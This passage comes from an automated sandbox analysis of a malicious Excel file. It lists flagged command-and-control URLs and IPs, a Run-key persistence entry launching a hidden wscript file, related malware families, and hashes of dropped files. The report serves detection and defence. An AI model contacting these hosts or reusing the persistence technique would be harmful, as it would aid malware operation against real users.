http://a1.aigoingtokill.club/$	wscript.exe, 00000005.00000002.2593429283.0000000005CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	false		high
http://a1.aigoingtokill.club/	wscript.exe, 00000005.00000002.2589936237.0000000004EC7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://a1.aigoingtokill.club/o	wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://a2.6cs6.club/ctrl/url.html	wscript.exe, 00000005.00000002.2585673494.0000000000608000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2589936237.0000000004EC7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://api.etherscan.io/api?module=account&action=txlist&address=0x05124f85d88c86880fda0dde8ced46acb	wscript.exe, 00000005.00000002.2593429283.0000000005C88000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2591779119.0000000005143000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2589936237.0000000004EC7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	svchost.exe, 00000007.00000002.2594431996.000001FE05902000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2591657209.000001FE0516F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 00000007.00000002.2591231132.000001FE05137000.00000004.00000020.00020000.00000000.sdmp	false		high
http://a1.aigoingtokill.club/ctrl/playback.phpp	wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2589695225.000001FE04902000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	false		high
http://a1.aigoingtokill.club/45	wscript.exe, 00000005.00000002.2585673494.000000000067A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf	svchost.exe, 00000007.00000003.1365717275.000001FE05110000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	svchost.exe, 00000007.00000003.1646012935.000001FE058B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf	svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS%3C/ds:KeyName%3E%3C/ds:KeyInfo%3E%3CCipherData%3E%3CCipherValue%3EM.C503_BAY	svchost.exe, 00000007.00000002.2588592627.000001FE048A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/Wizard/Password/Change?id=80601	svchost.exe, 00000007.00000003.1365638696.000001FE0512C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	svchost.exe, 00000007.00000002.2591231132.000001FE05137000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf	svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuerf	svchost.exe, 00000007.00000003.1514960402.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563034877.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://a1.aigoingtokill.club/ctrl/playback.php/W	wscript.exe, 00000005.00000002.2591779119.0000000005143000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://a1.airobotheworld.tk/ctrl/url.html	wscript.exe, 00000005.00000002.2585673494.0000000000608000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE	svchost.exe, 00000007.00000003.1365717275.000001FE05110000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.li.c	svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd	svchost.exe, 00000007.00000003.1672079300.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1618835824.000001FE05133000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.111.175.138	api.etherscan.io	United States	29802	HVC-ASUS	false
181.214.58.112	a1.aigoingtokill.club	Chile	61317	ASDETUKhttpwwwheficedcomGB	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571187
Start date and time:	2024-12-09 06:48:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	53
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	6fW0GedR6j.xls renamed because original name is a hash value
Original Sample Name:	6b999100f6b93bbbb4499c90f12714a9.xls
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@75/43@55/4
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 52.109.76.240, 52.109.76.243, 23.218.208.109, 52.113.194.132, 23.64.59.120, 23.64.59.136, 20.190.181.1, 40.126.53.7, 20.231.128.65, 40.126.53.9, 40.126.53.13, 40.126.53.12, 40.126.53.11, 40.126.53.15, 20.189.173.11
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, a767.dspw65.akamai.net, eur.roaming1.live.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, neu-azsc-000.roaming.officeapps.live.com, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, onedscolprdwus10.westus.cloudapp.azure.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, ecs.office.com, self-events-data.trafficmanager.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, prod.configsvc1.live.com.akadns.net, www.tm.v4.a.prd.aadg.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, neu-azsc-config.
Execution Graph export aborted for target wscript.exe, PID 7928 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:49:09	API Interceptor	2x Sleep call for process: svchost.exe modified
00:50:10	API Interceptor	971x Sleep call for process: splwow64.exe modified
06:49:30	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run winstart wscript.exe //B "winstart.wsf"
06:49:39	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

LLM Input / Output

Input	Output
URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 1 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 2 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 1 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 2 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	Contract Proposal Documents.pdf	Get hash	malicious	Unknown	Browse	assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/645a21a8-32ac-ef11-b8e8-6045bd0f229c
23.111.175.138	n.doc	Get hash	malicious	Unknown	Browse	api.etherscan.io/api?module=account&action=txlist&address=0x05124f85d88c86880fda0dde8ced46acbe01c926

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
aigoingtokill.aigoingtokill.club	n.doc	Get hash	malicious	Unknown	Browse	45.15.131.115
	DM6331.vbs	Get hash	malicious	Xmrig	Browse	45.15.131.115
	n.doc	Get hash	malicious	Unknown	Browse	45.15.131.115
	GenericKD.39513644.vbs	Get hash	malicious	Xmrig	Browse	45.15.131.115
api.etherscan.io	http://www.unlswap-v2.org/applications.html	Get hash	malicious	Unknown	Browse	162.252.84.9
	SecuriteInfo.com.Win64.Application.Agent.OC4RUD.27595.27519.dll	Get hash	malicious	Nanominer, Xmrig	Browse	217.79.240.58
	SecuriteInfo.com.Win64.Application.Agent.OC4RUD.27595.27519.dll	Get hash	malicious	Nanominer, Xmrig	Browse	217.79.240.58
	n.doc	Get hash	malicious	Unknown	Browse	23.111.175.138
	DM6331.vbs	Get hash	malicious	Xmrig	Browse	23.111.175.138
	n.doc	Get hash	malicious	Unknown	Browse	23.111.175.138
	GenericKD.39513644.vbs	Get hash	malicious	Xmrig	Browse	23.111.175.138
s-part-0035.t-0009.t-msedge.net	Transferencia.lnk	Get hash	malicious	XenoRAT	Browse	13.107.246.63
	BUNKER INVOICE MV SUN OCEAN.pdf.vbs	Get hash	malicious	GuLoader	Browse	13.107.246.63
	Bunker_STS_pdf.vbs	Get hash	malicious	GuLoader	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HVC-ASUS	https://i.postimg.cc/y6hBTtv7/png-Hand-SAward.png	Get hash	malicious	HTMLPhisher	Browse	66.206.12.130
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	23.227.187.60
	1.e.msi	Get hash	malicious	DanaBot	Browse	23.227.178.53
	1.e.msi	Get hash	malicious	DanaBot	Browse	23.227.178.53
	Delivery_Notification_00000896751.doc.js	Get hash	malicious	Unknown	Browse	66.206.1.146
	Delivery_Notification_00116030.doc.js	Get hash	malicious	Unknown	Browse	66.206.1.146
	PO-73375.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	66.206.23.186
	bPRQRIfbbq.exe	Get hash	malicious	Unknown	Browse	104.254.130.186
	https://us10.mipcm.com:9743/pub/windows/mipc/v9.1.1.2201131522/MIPC_Setup_v9.1.1.2201131522.exe	Get hash	malicious	Unknown	Browse	209.133.212.170
	otis.exe	Get hash	malicious	Unknown	Browse	162.252.175.131
MICROSOFT-CORP-MSN-AS-BLOCKUS	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	XenoRAT	Browse	52.113.195.132
	Transferencia.lnk	Get hash	malicious	XenoRAT	Browse	52.113.195.132
	jew.arm6.elf	Get hash	malicious	Unknown	Browse	23.102.19.194
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	20.201.109.244
	jew.mips.elf	Get hash	malicious	Unknown	Browse	20.157.99.220
	jew.ppc.elf	Get hash	malicious	Unknown	Browse	20.181.37.3
	jew.sh4.elf	Get hash	malicious	Unknown	Browse	159.27.209.232
	jew.mpsl.elf	Get hash	malicious	Unknown	Browse	13.71.38.171
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
ASDETUKhttpwwwheficedcomGB	meerkat.arm.elf	Get hash	malicious	Mirai	Browse	191.107.60.113
	home.ppc.elf	Get hash	malicious	Mirai	Browse	89.207.176.202
	.akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	193.176.187.115
	MjU4dYOfgf.exe	Get hash	malicious	AgentTesla	Browse	191.101.50.240
	Demon.i586.elf	Get hash	malicious	Mirai, Gafgyt	Browse	85.209.17.110
	Demon.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	85.209.17.110
	Demon.mips.elf	Get hash	malicious	Mirai, Gafgyt	Browse	85.209.17.110
	Demon.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	85.209.17.110
	Demon.arm6.elf	Get hash	malicious	Mirai, Gafgyt	Browse	85.209.17.110
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	181.215.226.251

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
a0e9f5d64349fb13191bc781f81f42e1	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	XenoRAT	Browse	13.107.246.63
	Transferencia.lnk	Get hash	malicious	XenoRAT	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8008082715169965
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5T5:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBf+
MD5:	0CF013AA30AD46A736C41B9E4EF0C5BE
SHA1:	066FF8D6BDAE3C771E7AA86A52E9E4F19E4D8F56
SHA-256:	B40337C66C5AEF3A7920C89E2159EDFA2914F999D3E662C2A534972DFC7C00F2
SHA-512:	91087C532BDE6FA56E452EC714A9DDF19A8CEB2D47E64378D9B1FF68F669926EB53523D07D0D9CA27652BBBC8F85AB44798D1261DD0FEFB017A89761FFDFED17
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf5de1bb4, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7715834748149013
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:raza9vqcHbrq2UyUVWlW
MD5:	6BECC20DD60C077A93D95B5AD3C65980
SHA1:	781EC83707C7CB9E6AF2935B50C4A4EB7A8E813E
SHA-256:	B09685F422F42208964C1BC6003DDD0CCD50AA0F3DB3D5DF4B52A43A07C87182
SHA-512:	E1E6F41E31698B944D3C31B95F1CAB4C44E347D0614ADDC53C4FDE621FE19260329C87BA226AA4E0A4D3599C0918860EA84C96E24A8DAD8EBDF4303EF8C3BC3B
Malicious:	false
Preview:	....... ...............X\...;...{......................0.p.....#....{...1...\|..h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{...................................4.#.1...\|.....................n.1...\|...........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.081546298279531
Encrypted:	false
SSDEEP:	3:G/tlEYeby3qve08qrrvr+gvrr/ZT2illVmctlll/Sm1l1:+lEzbGrgn/dPLPPv
MD5:	D1BF5AD351BEC5C5201BB21FC27CF170
SHA1:	3CD7822CC1EB9B023179B1BA316CA2561C1E9668
SHA-256:	95F9E0D58184C0C152C9A2C3644AD52D7EE49D853B4BBCDAEC07147D13585F23
SHA-512:	8A1957486D06C5B39EF5B31A8DB4D377F5892DD1B58EDDB23AF4BB31AF2C4B2621F1B8E61C88C0C468DCDDEA49E513B5A38ACFA1BE24150C2F762F3AE7BBDE8E
Malicious:	false
Preview:	..1.....................................;...{...1...\|..#....{..........#....{..#....{...i..#....{.V...................n.1...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\TMP.TMP

Download File

Process:	C:\Windows\System32\wbem\scrcons.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	114470
Entropy (8bit):	5.5307303019324054
Encrypted:	false
SSDEEP:	1536:qk6RPg8NopGkC5CEKZ/Gw5wFT+0Iet4sJz0LlXBJUiZkIrE1wo+92N3SOZ8XPuct:MOGkZLApiMioDDi/jLnuShJBOVju
MD5:	2A31D5F042914E5707DD7CA61E1A2143
SHA1:	ECC59AA42B79D6B45927A3B869EADE09AD4C7AB7
SHA-256:	A5384609BC4D4F6666E2E333ED89FBE29F35C33262A8234B621C9FC729F8B350
SHA-512:	C070689F2F589A264A4E366CB3B6FF458DB6A705D89B8FC7BC198229374AFF91EC015BF7781BC17BC71696CF53F66C85265B5C8D4D0B08AED8F5069CE7257F79
Malicious:	false
